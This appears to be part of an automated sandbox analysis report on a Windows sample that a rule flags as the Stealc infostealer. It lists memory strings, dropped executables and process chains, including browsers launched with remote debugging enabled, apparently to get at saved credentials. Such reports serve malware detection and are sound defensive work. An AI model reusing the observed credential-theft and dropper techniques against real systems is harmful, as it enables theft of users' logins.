Source: iUKUR1nUyD.exe, 00000000.00000003.2322495884.0000000005EED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2323931047.0000000005FC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2332409695.000000000601B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2330514349.0000000006010000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2317052129.0000000005C87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2318627644.0000000005C44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2324712942.0000000005FD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2320281077.0000000005EEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2334404150.0000000005EE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2328764938.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2331974079.0000000006131000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2324538609.0000000005EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2326785490.0000000005FDD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2326970240.0000000005EE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2319520921.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2336061272.0000000006045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2327167117.0000000005FD6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2325415810.0000000005EED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2329195897.0000000005EEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2318627644.0000000005B56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2325701266.0000000005EE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2318343890.0000000005B56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2335661128.000000000603B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2334038823.000000000602F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2321412578.0000000005EF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2324199817.0000000005FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2330814403.0000000006006000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2326131648.0000000005EE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2318627644.0000000005BCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2331459295.0000000005EE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2322833735.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2321288958.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2328345115.0000000005EEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2328915176.0000000005FE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2322015805.0000000005FA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2335855487.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2329070102.00000000060F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2321166015.0000000005EF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2334228355.0000000006175000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2320919351.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2326273467.0000000005FC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2328199403.00000000060F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2319606583.0000000005D39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2320412152.0000000005D45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2326583297.0000000005EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2324362714.00000000060A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2322617051.0000000005FAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2330185889.0000000006125000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2333612160.0000000006035000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2323291468.0000000005FB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2316887051.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2324941652.0000000005EF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2322251711.0000000005EF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2334587051.0000000006032000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2329670796.0000000006113000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2328640741.00000000060F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe
Source: iUKUR1nUyD.exe, 00000000.00000003.2330027887.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs iUKUR1nUyD.exe

Source: iUKUR1nUyD.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack, type: UNPACKEDPE

Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b

Source: iUKUR1nUyD.exe	Static PE information: Section: ZLIB complexity 0.9995212928921569
Source: iUKUR1nUyD.exe	Static PE information: Section: qppoenam ZLIB complexity 0.9949168669871795

Source: QCOQEKY6WEL3K5GC9727N7E.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.16.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: BAAFBFBAAK.exe.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@41/61@7/9

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Code function: 4_2_6C530300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

4_2_6C530300

Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5044:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe

File created: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3052020475.0000000005396000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3060656032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3052020475.0000000005396000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3060656032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3052020475.0000000005396000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3060656032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3052020475.0000000005396000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3060656032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: QCOQEKY6WEL3K5GC9727N7E.exe, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3052020475.0000000005396000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3060656032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3052020475.0000000005396000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3060656032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3052020475.0000000005396000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3060656032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: iUKUR1nUyD.exe, 00000000.00000003.2137071124.0000000005A56000.00000004.00000800.00020000.00000000.sdmp, iUKUR1nUyD.exe, 00000000.00000003.2137441540.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2674087660.0000000005285000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000003.2809196203.0000000005279000.00000004.00000020.00020000.00000000.sdmp, BKKJKFBKKECFHJKEBKEH.4.dr, HIIIJDAAAAAAKECBFBAE.4.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3052020475.0000000005396000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3060656032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3052020475.0000000005396000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3060656032.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.4.dr, softokn3.dll.4.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: iUKUR1nUyD.exe

ReversingLabs: Detection: 55%

Source: KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe

String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe

File read: C:\Users\user\Desktop\iUKUR1nUyD.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\iUKUR1nUyD.exe "C:\Users\user\Desktop\iUKUR1nUyD.exe"
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Process created: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe "C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe"
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Process created: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe "C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe"
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2136,i,13351786285830882789,5096534948754379565,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2312,i,9912204762408488542,753196695305044942,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2324,i,13382879543148318922,11385006065891053408,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\BAAFBFBAAK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\BAAFBFBAAK.exe "C:\Users\user\Documents\BAAFBFBAAK.exe"
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Process created: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe "C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe"	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Process created: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe "C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\BAAFBFBAAK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2136,i,13351786285830882789,5096534948754379565,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2312,i,9912204762408488542,753196695305044942,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2324,i,13382879543148318922,11385006065891053408,262144 /prefetch:3	Jump to behavior
